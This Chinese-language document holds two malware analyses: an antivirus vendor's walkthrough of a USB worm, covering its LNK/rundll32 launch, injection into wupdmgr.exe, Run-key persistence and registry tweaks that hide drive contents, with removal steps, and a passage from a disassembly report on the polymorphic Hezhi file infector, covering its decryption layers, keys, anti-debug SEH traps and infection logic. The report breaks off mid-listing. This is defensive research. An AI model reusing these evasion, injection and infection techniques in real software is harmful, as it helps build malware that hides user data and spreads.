瑞星V16+：Worm.Win32.Agent.aym
此病毒样本截图如图1所示，瑞星v16+查杀该样本截图如图2所示。
图1：病毒样本
图2：瑞星V16+对病毒样本查杀截图
病毒样本只是一个lnk快捷方式，并不是~%PHENOVECNYE.ini，我们取消系统的隐藏显示再来看一下。点击工具菜单-文件夹选项，如图3所示，取消隐藏受保护的操作系统文件（推荐）勾选，及隐藏文件和文件夹下面选择显示所有文件和文件夹。
图3：取消系统的隐藏文件
取消系统隐藏文件后，再来看一下病毒样本，文件夹下多了很多文件，如图4所示。
图4：取消系统隐藏文件后，显示出病毒样本~%PHENOVECNYE.ini
我们先来简单分析一下lnk文件，右键点击lnk选择属性，如图5所示。
图5：查看lnk快捷方式文件的属性
我们看到这个lnk快捷方式的目标类型是应用程序，目标是%hoMEdrive%\\WINDOWS\\System32\\rundll32.exe ~%PHENOVECNYE.ini,lnk。如图6所示，这个快捷方式原来是调用系统的rundll32.exe来运行~%PHENOVECNYE.ini。大家可能有点奇怪，~%PHENOVECNYE.ini只是一个ini文件，为什么这个快捷方式要通过rundll32.exe来运行它呢？接下来我们再来分析一下~%PHENOVECNYE.ini文件，看它到底是什么文件类型。
图6：查看lnk快捷方式的属性，其目标为%hoMEdrive%\\WINDOWS\\System32\\rundll32.exe ~%PHENOVECNYE.ini
我们使用winhex工具打开~%PHENOVECNYE.ini文件，在winhex的字符串显示区域，我们看到了MZ头，标准的pe文件头，如图7所示。
图7：winhex显示~%PHENOVECNYE.ini文件实际上是一个可执行程序
Winhex只是能说明~%PHENOVECNYE.ini文件是一个可执行程序，但具体这个文件是dll或exe，还是驱动？我们使用IDA工具查看一下文件的输出点，如图8所示，IDA显示~%PHENOVECNYE.ini的Exports为DLLEntryPoint，原来这个~%PHENOVECNYE.ini是一个dll文件。我们知道要执行一个dll文件，需要使用系统的rundll32应用程序，有时当然还需要加上dll运行参数，这样才能将dll跑起来。所以有时候我们不能只通过查看文件的扩展名来识别文件类型，有些病毒文件会伪装成正常的系统文件名来迷惑大家。怎么来分辨呢？简单的就是用记事本直接打开文件，查看一下文件头，就大概知道这个文件到底是什么文件类型。
图8：IDA查看~%PHENOVECNYE.ini的Exports为DLLEntryPoint
病毒行为分析
在这次病毒行为分析中，我们使用SFF这款工具。当然，在开始运行病毒前，开启SSF的监控，直接双击lnk快捷方式，过一会儿，SSF监控到如下的病毒行为，如图9所示，rundll32.exe执行C:\\ATI\\Catalyst.exe。
图9：rundll32.exe执行C:\\ATI\\Catalyst.exe
点允许后，SSF又监控到是否允许Catalyst.exe创建一个傀儡进程Catalyst.exe，如图10所示。
图10：是否允许创建傀儡进程Catalyst.exe
从图10来看，两个Catalyst.exe的pid是不同的，实际就是Catalyst.exe同时创建了一个傀儡进程，而这个傀儡进程就是它自己。这里继续点允许，SSF监控到C:\\ATI\\Catalyst.exe要运行C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\seynhbuoetjzoetnzoepfqgvpfqkeyne.com，如图11所示。
图11：是否允许Catalyst.exe运行C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\seynhbuoetjzoetnzoepfqgvpfqkeyne.com
小结一下：~%PHENOVECNYE.ini跑起来后，首先在C盘下创建ATI文件夹，同时写入病毒文件Catalyst.exe，Catalyst.exe同时会创建一个它本身的傀儡进程，同时还会在系统临时目录下释放一个随机文件名的com病毒程序，之后交由Catalyst.exe来运行com病毒程序，如图12所示。
图12：SSF拦截到的Catalyst.exe运行临时目录下的com病毒程序行为
允许seynhbuoetjzoetnzoepfqgvpfqkeyne.com运行后，SSF也监控到seynhbuoetjzoetnzoepfqgvpfqkeyne.com同时也要创建一个自身的傀儡进程seynhbuoetjzoetnzoepfqgvpfqkeyne.com，如图13所示。
图13：seynhbuoetjzoetnzoepfqgvpfqkeyne.com创建自己为傀儡进程
在允许创建傀儡进程seynhbuoetjzoetnzoepfqgvpfqkeyne.com后，SSF监控到seynhbuoetjzoetnzoepfqgvpfqkeyne.com要运行系统程序wupdmgr.exe，如图14所示。
图14：seynhbuoetjzoetnzoepfqgvpfqkeyne.com要运行系统wupdmgr.exe
wupdmgr.exe是windows update manger的缩写，是自动升级的程序。我们接下来看一下，病毒程序seynhbuoetjzoetnzoepfqgvpfqkeyne.com要调用系统wupdmgr.exe程序干什么坏事。继续允许它运行wupdmgr.exe，SSF监控到seynhbuoetjzoetnzoepfqgvpfqkeyne.com要修改wupdmgr.exe内存数据，如图15所示。
图15：修改wupdmgr.exe内存数据、注入在我们允许之后，SSF又监控到同样的病毒行为提示，如图16所示。
图16：两次是否允许修改wupdmgr.exe内存数据
在允许修改wupdmgr.exe内存数据后，SSF监控到wupdmgr.exe在HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer\\Run下，写入名称为47801的启动项，如图17所示。
图17：wupdmgr.exe创建启动项47801
到这里我们先来印证一下SSF监控到这些病毒行为，如图18所示，病毒样本的确是在C盘根目录下创建ATI文件夹并写入病毒文件Catalyst.exe。
图18：病毒样本运行后写入的病毒文件Catalyst.exe
图19所示的是病毒样本~%PHENOVECNYE.ini在系统临时目录下写入的病毒文件seynhbuoetjzoetnzoepfqgvpfqkeyne.com。
图19：系统临时目录下的病毒样本seynhbuoetjzoetnzoepfqgvpfqkeyne.com
再使用xuetr工具查看一下系统当前进程及启动项，如图20所示，在进程列表里我们看到wupdmgr.exe，其父pid为1480，也就是seynhbuoetjzoetnzoepfqgvpfqkeyne.com，seynhbuoetjzoetnzoepfqgvpfqkeyne.com修改wupdmgr.exe内存数据并将其启动起来，为病毒下一步干坏事做好准备。
图20：xuetr进程列表显示wupdmgr.exe已经运行起来
再来看启动项，wupdmgr.exe写入启动项名称为47801，其执行路径为：C:\\Documents and Settings\\Administrator\\Local Settings\\Temp\\ccwaaiehv.bat，如图21所示。
图21：wupdmgr.exe写入的启动项右键点击启动项点定位到启动文件，如图22所示，我们来看一下这个bat到底是什么文件。
图22：定位启动文件
图23所示的启动项文件是一个被设置为隐藏的ccwaaiehv.bat。
图23：定位到的病毒文件ccwaaiehv.bat
使用记事本打开这个ccwaaiehv.bat文件，看一下批处理的内容是什么，发现ccwaaiehv.bat其实也是一个pe文件，如图24所示。
图24：ccwaaiehv.bat文件头为MZ标准的pe格式文件
我们提取ccwaaiehv.bat和Catalyst.exe这两文件，使用瑞星V16+查杀一下这两个样本，如图25所示，瑞星V16+对这两个文件报毒，
图25：V16+查杀这两个病毒样本
实际上，在wupdmgr.exe被修改内存数据，并写入启动项47801后，这个病毒整个已经跑起来了。接下来我们就要进一步触发一下这个病毒，看一下这个病毒后续的行为。怎么触发呢？从这个病毒lnk快捷方式的名称为我的移动（4G）及图4来看，我们猜测这个病毒样本可能针对的是移动存储设备U盘来做文章，既然猜测是这样，我们就给染毒环境插入一个正常U盘，如图26所示，是一个实机正常插入的可移动磁盘。
图26：正常的U盘
我们把这个U盘切换到染毒环境的虚拟机，在切换到染毒环境之前我们将processmonitor这个工具的捕捉功能开启，让processmonitor捕捉一下U盘在切换到染毒环境后的一些病毒行为。如图27所示，完好的U盘在切换到染毒环境下，U盘上的数据都看不到了，只剩下一个HB1_CCPA_X6(8GB)的快捷方式。
图27：U盘上的数据只剩下一个2kb的快捷方式
我们来看一下processmonitor工具都捕捉到了哪些病毒行为，病毒是如何将U盘数据隐藏的。由于Processmonitor捕捉到内容较多，如图28所示，我们直接查找wupdmgr.exe，Processmonitor显示进程wupdmgr.exe的pid为2000，这样我们就可以设置过滤规则，直接查看进程wupdmgr.exe的行为。
图28：Processmonitor显示的wupdmgr.exe的pid为2000
接下来设置规则分别为pid为2000、操作为写入、操作为设置注册表值这三项，如何设置过滤规则就不详细讲解了，看过我们之前的文章，相信大家应该掌握了。如图29所示，我们添加三条过滤规则。
图29：设置过滤规则
设置好规则后，我们看到在插入U盘（盘符为E:），wupdmgr.exe向U盘写入文件desktop.ini及Thumbs.db，如图30所示。
图30：wupdmgr.exe向U盘写入文件desktop.ini及Thumbs.db
同时还修改系统注册表项HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced的ShowSuperHidden和Hidden的值，如图31所示，图32、33所示的是修改的具体键值数据。
图31：wupdmgr.exe修改注册表值
图32：修改ShowSuperHidden值为0，勾选隐藏受保护的操作系统文件（推荐）
图33：修改Hidden值为2，勾选不显示隐藏的文件和文件夹
这样修改后，我们就无法查看系统隐藏的文件，其目的就是隐藏U盘上的数据，使我们无法查看到，因为病毒将U盘的文件都设置了隐藏属性，同时wupdmgr.exe向U盘写入病毒文件~%YZUAWLLH.ini，如图34所示。
图34：wupdmgr.exe写入病毒文件~%YZUAWLLH.ini
写入的病毒文件和我们之前运行的~%PHENOVECNYE.ini文件名不同，但其实都是同一个病毒程序。Processmonitor工具同时还捕捉到了wupdmgr.exe向U盘写入lnk快捷方式，如图35所示。
图35：wupdmgr.exe写入的以U盘名及大小为文件名的lnk快捷方式
右键查看U盘上lnk快捷方式的属性，发现同样也是通过系统的rundll32来运行的~%YZUAWLLH.ini，手法和我们的本例讲解的病毒样本一致，如图36所示。
图36：U盘上lnk快捷方式属性
病毒处理
以上是病毒样本的行为分析，接下来我们讲一下如何手动处理这个病毒。使用xuetr工具来处理，如图37所示，使用xuetr先结束进程wupdmgr.exe，之后再删除病毒样本写入的启动项及文件，如图38所示。
图37：结束wupdmgr.exe进程
图38：删除病毒写入的启动项47801及对应文件
之后还要删除在C盘根目录下创建的ATI文件夹，如图39所示。
图39：删除病毒写入的ATI文件夹
接下来恢复病毒样本修改的注册表项，如图40所示，使用xuetr注册表定位到HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced，将ShowSuperHidden的值修改为正常1，如图41所示。图40：恢复病毒修改的ShowSuperHidden的注册表值
图41：修改ShowSuperHidden正常键值为1
如图42及图43所示，使用xuetr工具恢复病毒修改的HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Hidden注册表值。
图42：恢复病毒修改的Hidden的注册表值
图43：修改Hidden正常的键值为1
注册表项修改为正常值后，我们就可以看到U盘上隐藏的病毒文件及一个U盘图标似的文件，如图44所示。
图44：U盘上写入的病毒文件及被隐藏的U盘数据
我们打开那个类似U盘图标的文件夹，如图45所示，所有的U盘数据都在这里。
图45：类似U盘图标下的所有U盘数据
接下来将U盘上病毒写入的病毒文件删除，右键选中U盘上病毒写入的文件点删除即可，如图46所示。
图46：删除U盘上病毒文件删除之后就剩下了那个类似U盘图标的文件夹，如图47所示，这里可是有我们U盘上的数据，不能删除。如何恢复正常的U盘呢？重新插拔一下U盘即可，如图48所示。至此，我们手动完成了处理这个病毒。
图47：剩余的类似U盘图标的文件夹
图48：重新插拔U盘后，U盘恢复正常
瑞星V16+对病毒预防的方法
来讲解一下如何使用瑞星V16+来防范这类病毒。通过前面对病毒行为的分析，病毒修改了系统wupdmgr.exe内存数据并创建一个自身的傀儡进程wupdmgr.exe。那么我们就使用瑞星V16+的系统加固自定义规则，添加一条文件访问规则，监控任何程序访问或修改c:\\windows\\system32\\wupdmgr.exe时都给予提示，如图49所示。
图49：瑞星v16+添加文件访问规则，监控c:\\windows\\system32\\wupdmgr.exe
还需要将系统加固的默认优化选项默认放过包含厂商数字签名的程序文件及默认放过瑞星云安全鉴定安全的程序文件勾选取消，如图50所示。
图50：取消系统加固默认优化选项
再跑一下这个病毒样本，跑样本前关闭瑞星文件监控，过一会瑞星V16+系统加固拦截到有可疑程序试图打开c:\\windows\\system32\\wupdmgr.exe，如图51所示。
图51：系统加固拦截到可疑程序打开c:\\windows\\system32\\wupdmgr.exe
从图51来看，重新运行了病毒样本，该病毒样本在系统临时目录下，创建32位随机命名的com病毒文件。来看一下是否在C盘创建了ATI文件夹并写入了病毒文件Catalyst.exe，如图52所示，果然在C:\\ATI写入了病毒文件Catalyst.exe，说明病毒已经跑起来了。
图52：再次运行病毒样本，在C:\\ATI写入病毒文件Catalyst.exe
图52-1所示的是病毒文件Catalyst.exe在系统临时目录下创建32位随机命名的com文件。
图52-1：写入系统临时文件夹的32位随机com病毒文件
图52和图52-1都充分说明病毒已经跑起来了，在瑞星V16+系统加固拦截到病毒样本试图打开c:\\windows\\system32\\wupdmgr.exe，注意系统加固默认是阻止，在我们不选择处理方式后，系统加固自动拦截该行为。使用xuetr工具查看当前系统进程里，没有wupdmgr.exe，如图53所示。
图53：当前进程列表没有wupdmgr.exe
继续查看启动项，发现HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer\\Run也没有被写入可疑启动项，如图54所示。
图54：xuetr显示无可疑启动项
插入U盘到染毒环境再测试一下，看看U盘的数据是否还会被隐藏并变成一个快捷方式。如图55所示，插入U盘后一切正常，说明设置的规则能成功拦截该样本。
图55：插入U盘到染毒环境，U盘一切正常
剩下的就好办了，手动删除掉病毒创建的两个无用的病毒样本即可，如图56所示。
图56：回收站里被删除的两个无用的病毒样本
篇7：hezhi病毒分析报告病毒防范
作者：haiwei/CVC.GB
Hezhi病毒是去年分析一个病毒,下面是分析报告,由于xxx原因杀毒程序不能公布(其实分析报告应该写得比较清楚了,哈)
写杀变形病毒的程序, 首先是要解决怎么查这个病毒(把病毒的变形引擎分析透彻一点,它怎么变你就怎么查),然后才是杀(好像是废话:))
hezhi病毒分析报告
haiwei/CVC.GB
关键字:
变形\\病毒\\感染\\AntiDebug
分析工具:
OD(动态)\\IDA(静态)
分析目标:
1.样本MD5值:a7be1177766cec09d7e914ea7985c723
2.病毒名称:Win32.Hezhi
难度:中
病毒简介:
1.这是一个基于poly技术的病毒,病毒代码经过五层加密,且key为动态的.
2.感染在宿主程序的节空隙,如果没有足够的空隙,则增加最后一节的节大小.
3.加密原宿主代码.
4.病毒代码中有多处SEH陷井来反动态调试
病毒执行流程:
1.第一次解密
004087D3 0F 84 87 EF FF FF jz near ptr loc_40775F+1
.text:004087D9 50 push eax
.text:004087DA E8 00 00 00 00 call $+5
.text:004087DF 58 pop eax
.text:004087E0 58 pop eax
.text:004087E1 BE 00 00 09 02 mov esi, 2090000h \\\\关键
.text:004087E6 50 push eax
.text:004087E7 13 C3 adc eax, ebx
.text:004087E9 1B C3 sbb eax, ebx
.text:004087EB 58 pop eax
.text:004087EC B8 0C 03 00 00 mov eax, 30Ch
.text:004087F1 57 push edi
.text:004087F2 F7 D7 not edi
.text:004087F4 0F 03 F8 lsl edi, eax
.text:004087F7 5F pop edi
.text:004087F8 81 C0 3A 2E 00 00 add eax, 2E3Ah
.text:004087FE 57 push edi
.text:004087FF F7 D7 not edi
.text:00408801 0F 03 F8 lsl edi, eax
.text:00408804 5F pop edi
.text:00408805 C1 C6 1D rol esi, 1Dh \\\\经过这条指令Esi为待解密代码的
\\\\起始地址
.text:00408808 51 push ecx
.text:00408809 81 C1 19 39 D0 DB add ecx, 0DBD03919h
.text:0040880F 59 pop ecx
.text:00408810
.text:00408810 loc_408810: ; CODE XREF: start+D0j
.text:00408810 81 34 30 DA 0C 03 D2 xor dword ptr [eax+esi], 0D2030CDAh \\\\Key
.text:00408817 F5 cmc
.text:00408818 F5 cmc
.text:00408819 90 nop
.text:0040881A 90 nop
.text:0040881B 48 dec eax
.text:0040881C 50 push eax
.text:0040881D E8 00 00 00 00 call $+5
.text:00408822 58 pop eax
.text:00408823 58 pop eax
.text:00408824 7D EA jge short loc_408810 \\\\循环
.text:00408826 57 push edi
.text:00408827 F7 D7 not edi
.text:00408829 0F 03 F8 lsl edi, eax
.text:0040882C 5F pop edi
.text:0040882D FF E6 jmp esi \\\\跳到已解密代码执行
下面为小弟写的IDC解密脚本:
auto RegEsi;
auto Key;
auto RegEax;
RegEsi=0x412000;
Key=0xd2030cda;
RegEax=0x3146;
for (;RegEax>=0;RegEax--)
{
Data=Dword(RegEax+RegEsi)^Key;
PatchDword(RegEax+RegEsi,Data);
}
在OD里可以把代码直接拉到JMP XX处 F4(XX可变),在这个例子样本中为JMP Esi
2.第二次解密
JMP Esi来到412000,该处代码如下
00412002 50 PUSH EAX
00412003 E8 00000000 CALL CLSPACK1.00412008
00412008 58 POP EAX
00412009 83C0 1A ADD EAX,1A
0041200C 50 PUSH EAX ; CLSPACK1.00412022
0041200D 64:67:FF36 0000 PUSH DWORD PTR FS:[0] \\\\这里很明显是一个SEH陷井
00412013 64:67:8926 0000 MOV DWORD PTR FS:[0],ESP
00412019 B8 FFFFFFFF MOV EAX,-1
0041201E FFE0 JMP EAX \\\\故意产生异常
00412020 FFE0 JMP EAX
00412022 64:67:A1 0000 MOV EAX,DWORD PTR FS:[0] \\\\在这个位置F2下断点,F9,出现异常
\\\\出现异常后按shift+F9到412022断点处停下
00412027 8B20 MOV ESP,DWORD PTR DS:[EAX]
00412029 64:67:8F06 0000 POP DWORD PTR FS:[0]
0041202F 58 POP EAX \\\\这几条指令在恢复SEH
00412030 58 POP EAX
00412031 60 PUSHAD
00412032 E8 00000000 CALL CLSPACK1.00412037
00412037 58 POP EAX
00412038 BE 82104000 MOV ESI,CLSPACK1.00401082
0041203D BB 37104000 MOV EBX,CLSPACK1.00401037
00412042 2BF3 SUB ESI,EBX
00412044 03F0 ADD ESI,EAX \\\\Esi为解密起始地址
00412046 BB C4300000 MOV EBX,30C4 \\\\解密长度
0041204B 81341E 30C87B80 XOR DWORD PTR DS:[ESI+EBX],807BC830 \\\\Key
00412052 9C PUSHFD
省略若干垃圾指令
0041207D 9D POPFD
0041207E 4B DEC EBX
0041207F ^7D CA JGE SHORT CLSPACK1.0041204B \\\\循环
00412081 61 POPAD \\\\在OD中把光标停在这F4
下面是第二次解密IDC脚本:
auto RegEsi;
auto Key;
auto RegEax;
auto Data;
RegEsi=0x412082;
Key=0x807bc830;
RegEax=0x30c4;
for (;RegEax>=0;RegEax--)
{
Data=Dword(RegEax+RegEsi)^Key;
PatchDword(RegEax+RegEsi,Data);
}
3.第三次解密
00412089 BE CC104000 MOV ESI,<&KERNEL32.RtlUnwind>
0041208E BB 88104000 MOV EBX,<&KERNEL32.ExitProcess>
00412093 2BF3 SUB ESI,EBX
00412095 03F0 ADD ESI,EAX \\\\解密起始地址
00412097 B9 1F0C0000 MOV ECX,0C1F \\\\长度
0041209C 8B06 MOV EAX,DWORD PTR DS:[ESI]
0041209E F7D0 NOT EAX \\\\解密
004120A0 8906 MOV DWORD PTR DS:[ESI],EAX
004120A2 83C6 04 ADD ESI,4
省略若干垃圾代码
004120C9 ^E2 D1 LOOPD SHORT CLSPACK1.0041209C
004120CB 61 POPAD \\\\光标停在这,F4
下面是第三次解密的IDC脚本:
auto RegEsi;
auto RegEax;
auto i;
auto Data;
RegEsi=0x4120cc;
RegEax=0xc1f;
for (i=0;i { Data=~Dword(i+RegEsi); PatchDword(i+RegEsi,Data); } 4.第四解密 004120D8 64:67:FF36 0000 PUSH DWORD PTR FS:[0] 004120DE 64:67:8926 0000 MOV DWORD PTR FS:[0],ESP \\\\又是一个SEH陷井 004120E4 B0 88 MOV AL,88 004120E6 02C0 ADD AL,AL 004120E8 CE INTO \\\\产生异常 004120E9 FFE0 JMP EAX 004120EB 64:67:A1 0000 MOV EAX,DWORD PTR FS:[0] 004120F0 8B20 MOV ESP,DWORD PTR DS:[EAX] 004120F2 64:67:8F06 0000 POP DWORD PTR FS:[0] 004120F8 58 POP EAX 004120F9 58 POP EAX 004120FA E8 00000000 CALL CLSPACK1.004120FF 004120FF 58 POP EAX 00412100 BE 1F114000 MOV ESI,CLSPACK1.0040111F 00412105 BB FF104000 MOV EBX,CLSPACK1.004010FF 0041210A 2BF3 SUB ESI,EBX 0041210C 03F0 ADD ESI,EAX \\\\解密起始地址 0041210E B9 0A0C0000 MOV ECX,0C0A \\\\长度 00412113 8106 B2C430E1 ADD DWORD PTR DS:[ESI],E130C4B2 \\\\Key 00412119 83C6 04 ADD ESI,4 0041211C ^E2 F5 LOOPD SHORT CLSPACK1.00412113 0041211E 61 POPAD \\\\这里F2下断点,F9,Shift+F9 停在这 下面是第四次解密的IDC脚本: auto RegEsi; auto Key; auto RegEax; auto i; auto Data; RegEsi=0x41211f; Key=0xe130c4b2; RegEax=0xc0a; for (i=0;i { Data=Dword(i+RegEsi)+Key; PatchDword(i+RegEsi,Data); } 5.第五次解密 00412126 58 POP EAX 00412127 83C0 1B ADD EAX,1B 0041212A 50 PUSH EAX 0041212B 64:67:FF36 0000 PUSH DWORD PTR FS:[0] \\\\SEH陷井 00412131 64:67:8926 0000 MOV DWORD PTR FS:[0],ESP 00412137 B8 FFFFFFFF MOV EAX,-1 0041213C C600 CC MOV BYTE PTR DS:[EAX],0CC \\\\产生异常 0041213F FFE0 JMP EAX 00412141 64:67:A1 0000 MOV EAX,DWORD PTR FS:[0] 00412146 8B20 MOV ESP,DWORD PTR DS:[EAX] 00412148 64:67:8F06 0000 POP DWORD PTR FS:[0] \\\\恢复SEH 0041214E 58 POP EAX 0041214F 58 POP EAX 00412150 E8 00000000 CALL CLSPACK1.00412155 00412155 58 POP EAX 00412156 BE 76114000 MOV ESI,CLSPACK1.00401176 0041215B BB 55114000 MOV EBX,CLSPACK1.00401155 00412160 2BF3 SUB ESI,EBX 00412162 03F0 ADD ESI,EAX \\\\解密起始地址 00412164 B9 F50B0000 MOV ECX,0BF5 \\\\长度 00412169 8B06 MOV EAX,DWORD PTR DS:[ESI] \\\\ 0041216B C1C0 10 ROL EAX,10 \\\\解密 0041216E 8906 MOV DWORD PTR DS:[ESI],EAX 00412170 83C6 04 ADD ESI,4 00412173 ^E2 F4 LOOPD SHORT CLSPACK1.00412169 00412175 61 POPAD \\\\这里F2下断点,F9,Shift+F9 停在这 下面是第五次解密的IDC脚本: auto RegEsi; auto RegEax; auto i; auto Data,Temp1,Temp2; RegEsi=0x412176; RegEax=0xbf5; for (i=0;i { Temp1=Dword(i+RegEsi); Temp1=Temp1<<0x10; Temp1=Temp1&0xffff0000; Temp2=Dword(i+RegEsi); Temp2=Temp2>>0x10; Temp2=Temp2&0xffff; Data=Temp1|Temp2; PatchDword(i+RegEsi,Data); } 6.在当前进程堆中分配8000H字节空间,并把病毒代码复制过去,并跳到堆中执行 004122B4 50 PUSH EAX 004122B5 52 PUSH EDX 004122B6 68 00800000 PUSH 8000 004122BB 6A 09 PUSH 9 004122BD 53 PUSH EBX 004122BE FFD1 CALL ECX \\\\RtlAllocateHeap \\\\在进程堆中分配8000H字节空间 004122C0 8BC8 MOV ECX,EAX 004122C2 0BC0 OR EAX,EAX 004122C4 5A POP EDX 004122C5 58 POP EAX 004122C6 0F84 EA2D0000 JE CLSPACK1.004150B6 004122CC 50 PUSH EAX 004122CD 51 PUSH ECX 004122CE 51 PUSH ECX 004122CF 6A 09 PUSH 9 004122D1 53 PUSH EBX 004122D2 FFD2 CALL EDX 004122D4 3D 00800000 CMP EAX,8000 004122D9 0F85 D72D0000 JNZ CLSPACK1.004150B6 004122DF 59 POP ECX 004122E0 58 POP EAX 004122E1 57 PUSH EDI 004122E2 50 PUSH EAX 004122E3 8BF9 MOV EDI,ECX 004122E5 57 PUSH EDI 004122E6 B8 FC124000 MOV EAX,CLSPACK1.004012FC ; ASCII “runtime error ” 004122EB 2D 00104000 SUB EAX,<&ADVAPI32.RegSetValueExA> 004122F0 03C7 ADD EAX,EDI 004122F2 B9 4A310000 MOV ECX,314A \\\\需复制代码的长度 004122F7 FC CLD 004122F8 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] \\\\复制 004122FA FFE0 JMP EAX \\\\跳到堆中执行 7.判断当前系统中是否有一个名为“DELPHI”的事件,如果存在则转12 否则转8 则解密原宿主程序代码. 001364D0 68 04010000 PUSH 104 001364D5 8D87 54270000 LEA EAX,DWORD PTR DS:[EDI+2754] 001364DB 50 PUSH EAX 001364DC 6A 00 PUSH 0 001364DE FF97 912A0000 CALL DWORD PTR DS:[EDI+2A91] 001364E4 8D87 D8290000 LEA EAX,DWORD PTR DS:[EDI+29D8] 001364EA 50 PUSH EAX 001364EB 6A 01 PUSH 1 001364ED 68 03001F00 PUSH 1F0003 001364F2 FF97 952A0000 CALL DWORD PTR DS:[EDI+2A95] \\\\OpenEvent 001364F8 8987 5C290000 MOV DWORD PTR DS:[EDI+295C],EAX 001364FE 83F8 00 CMP EAX,0 00136501 74 0C JE SHORT 0013650F \\\\如果当前没有DELPHI事件则跳 \\\\这个跳转非常关键 \\\\它决定是走病毒流程还是原宿主程序的流程 00136503 50 PUSH EAX 00136504 FF97 792A0000 CALL DWORD PTR DS:[EDI+2A79] 0013650A E9 AF2B0000 JMP 001390BE 0013650F 8D87 D8290000 LEA EAX,DWORD PTR DS:[EDI+29D8] 00136515 50 PUSH EAX 00136516 6A 01 PUSH 1 00136518 6A 00 PUSH 0 0013651A 6A 00 PUSH 0 0013651C FF97 992A0000 CALL DWORD PTR DS:[EDI+2A99] \\\\CreateEvent 创建一个名为“DELPHI”的事件 00136522 8987 5C290000 MOV DWORD PTR DS:[EDI+295C],EAX 00136528 57 PUSH EDI 00136529 8D87 70290000 LEA EAX,DWORD PTR DS:[EDI+2970] 0013652F 50 PUSH EAX 00136530 FF97 ED2A0000 CALL DWORD PTR DS:[EDI+2AED] 00136536 5F POP EDI 00136537 8D87 60290000 LEA EAX,DWORD PTR DS:[EDI+2960] 0013653D 50 PUSH EAX 0013653E 8D87 70290000 LEA EAX,DWORD PTR DS:[EDI+2970] 00136544 50 PUSH EAX 00136545 6A 00 PUSH 0 00136547 6A 00 PUSH 0 00136549 6A 20 PUSH 20 0013654B 6A 00 PUSH 0 0013654D 6A 00 PUSH 0 0013654F 6A 00 PUSH 0 00136551 FF97 CD2A0000 CALL DWORD PTR DS:[EDI+2ACD] \\\\\\\\GetCommandLine 00136557 50 PUSH EAX 00136558 8D87 54270000 LEA EAX,DWORD PTR DS:[EDI+2754] 0013655E 50 PUSH EAX 0013655F FF97 852A0000 CALL DWORD PTR DS:[EDI+2A85] \\\\CreateProcess 自身全路径名 00136565 E8 00000000 CALL 0013656A 0013656A 58 POP EAX 0013656B 60 PUSHAD 0013656C 8D88 32000000 LEA ECX,DWORD PTR DS:[EAX+32] \\\\这是一个变相的SEH安装 00136572 51 PUSH ECX 00136573 66:8CDA MOV DX,DS 00136576 0FA0 PUSH FS 00136578 1F POP DS 00136579 BB 00000000 MOV EBX,0 0013657E FF33 PUSH DWORD PTR DS:[EBX] 00136580 8BEC MOV EBP,ESP 00136582 892B MOV DWORD PTR DS:[EBX],EBP 00136584 66:8EDA MOV DS,DX 00136587 57 PUSH EDI 00136588 FF97 E52A0000 CALL DWORD PTR DS:[EDI+2AE5] 0013658E 5F POP EDI 0013658F 57 PUSH EDI 00136590 6A 01 PUSH 1 00136592 50 PUSH EAX 00136593 FF97 E92A0000 CALL DWORD PTR DS:[EDI+2AE9] \\\\这里会产生异常 00136599 5F POP EDI 0013659A EB 0F JMP SHORT 001365AB 0013659C 33DB XOR EBX,EBX \\\\这里F2下断点,F9,shift+F9 0013659E 66:8CDA MOV DX,DS 001365A1 0FA0 PUSH FS 001365A3 1F POP DS 001365A4 8B03 MOV EAX,DWORD PTR DS:[EBX] 001365A6 66:8EDA MOV DS,DX 001365A9 8B20 MOV ESP,DWORD PTR DS:[EAX] 001365AB 33DB XOR EBX,EBX 001365AD 66:8CDA MOV DX,DS 8.枚举局域网共享资源,并感染之 9.查找C-Z的固定磁盘, a.其中包含:RUNDLL32\\RUNONCE\\RAV\\LSASS\\SERVICES\\WINLOGON\\SPOOLSV MSTASK\\RPCSS\\AVCONSOL字符串的文件不感染. b.小于8K的文件不感染. c.系统目录下的文件不感染. 10当找到一个EXE文件时,首先判断是否是合法的PE文件,然生判断是否是已经感染文件 (以PE文件结构中的TimeDateStamp+1处的两个字节是否等于C354H来判断),如果 等于则继续下一个文件.否则转11 11.具体的感染过程如下:(由于是在最后一次解密后DUMP出来的,所以地址跟OD中的不一样 但指令和代码功能是一样的) 另:加密病毒代码和原宿主程序代码的Key由原宿主程序TimeDateStamp算得 00412A60 66:837E 5C 02 CMP WORD PTR DS:[ESI+5C],2 \\\\WINDOWS系统 00412A65 0F85 7F040000 JNZ CLSPACK.00412EEA 00412A6B 8B46 08 MOV EAX,DWORD PTR DS:[ESI+8] \\\\TimeDateStamp 00412A6E 83F8 00 CMP EAX,0 00412A71 75 21 JNZ SHORT CLSPACK.00412A94 \\\\在TimeDataStamp不为0的情况下用它用密钥,否则用E4C3542D为密钥 00412A73 B8 2D54C3E4 MOV EAX,E4C3542D \\\\密钥呀 E4C3542D 00412A78 C787 7F100000 CA>MOV DWORD PTR DS:[EDI+107F],2ACA 00412A82 C787 85100000 7C>MOV DWORD PTR DS:[EDI+1085],67C 00412A8C 8946 08 MOV DWORD PTR DS:[ESI+8],EAX 00412A8F E9 C3000000 JMP CLSPACK.00412B57 00412A94 8987 AA300000 MOV DWORD PTR DS:[EDI+30AA],EAX \\\\下面这段关键呀 00412A9A 50 PUSH EAX 00412A9B 53 PUSH EBX 00412A9C 35 DF6A45D3 XOR EAX,D3456ADF \\\\D3456ADF 00412AA1 8987 4A100000 MOV DWORD PTR DS:[EDI+104A],EAX 00412AA7 BB FFFAFFFF MOV EBX,-501 00412AAC 2BD8 SUB EBX,EAX 00412AAE 899F 50100000 MOV DWORD PTR DS:[EDI+1050],EBX 00412AB4 5B POP EBX 00412AB5 58 POP EAX 00412AB6 53 PUSH EBX 00412AB7 51 PUSH ECX 00412AB8 E8 FB060000 CALL CLSPACK.004131B8 \\\\\\(TimeDateStamp*0x7FFFFFFF+1)%-5=EAX 其中TimeDataStamp为EAX 00412ABD 8BD8 MOV EBX,EAX 00412ABF C1EB 08 SHR EBX,8 